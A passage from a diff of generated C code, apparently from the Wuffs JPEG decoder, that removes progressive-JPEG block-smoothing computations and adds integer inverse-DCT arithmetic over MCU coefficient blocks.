wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][24u] = ((uint16_t)(v_scratch)); -- } -+ if (0u == (self->private_data.f_mcu_blocks[0u][10u] | -+ self->private_data.f_mcu_blocks[0u][18u] | -+ self->private_data.f_mcu_blocks[0u][26u] | -+ self->private_data.f_mcu_blocks[0u][34u] | -+ self->private_data.f_mcu_blocks[0u][42u] | -+ self->private_data.f_mcu_blocks[0u][50u] | -+ self->private_data.f_mcu_blocks[0u][58u])) { -+ v_intermediate[2u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))) << 2u)); -+ v_intermediate[10u] = v_intermediate[2u]; -+ v_intermediate[18u] = v_intermediate[2u]; -+ v_intermediate[26u] = v_intermediate[2u]; -+ v_intermediate[34u] = v_intermediate[2u]; -+ v_intermediate[42u] = v_intermediate[2u]; -+ v_intermediate[50u] = v_intermediate[2u]; -+ v_intermediate[58u] = v_intermediate[2u]; - } else { -- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u]; -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); -- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { -- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } else { -- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } -- self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); -- } -- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u]; -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); -- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { -- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } else { -- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } -- self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); -- } -- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u]; -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); -- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { -- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } else { -- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } -- self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); -- } -- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u]; -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); -- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { -- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } else { -- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } -- self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); -- } -- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u]; -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); -- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { -- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } else { -- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -- } -- self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); -- } -+ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][18u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][18u])))); -+ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][50u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][50u])))); -+ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -+ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -+ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -+ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))); -+ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][34u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][34u])))); -+ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -+ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -+ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -+ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -+ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -+ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -+ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][10u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][10u])))); -+ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][26u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][26u])))); -+ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][42u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][42u])))); -+ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][58u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][58u])))); -+ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -+ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -+ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -+ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -+ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -+ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -+ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -+ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -+ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -+ v_ci51 *= 4294964100u; -+ v_ci53 *= 4294946301u; -+ v_ci71 *= 4294959923u; -+ v_ci73 *= 4294951227u; -+ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -+ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -+ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -+ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -+ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -+ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -+ v_intermediate[2u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -+ v_intermediate[58u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -+ v_intermediate[10u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -+ v_intermediate[50u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -+ v_intermediate[18u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -+ v_intermediate[42u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -+ 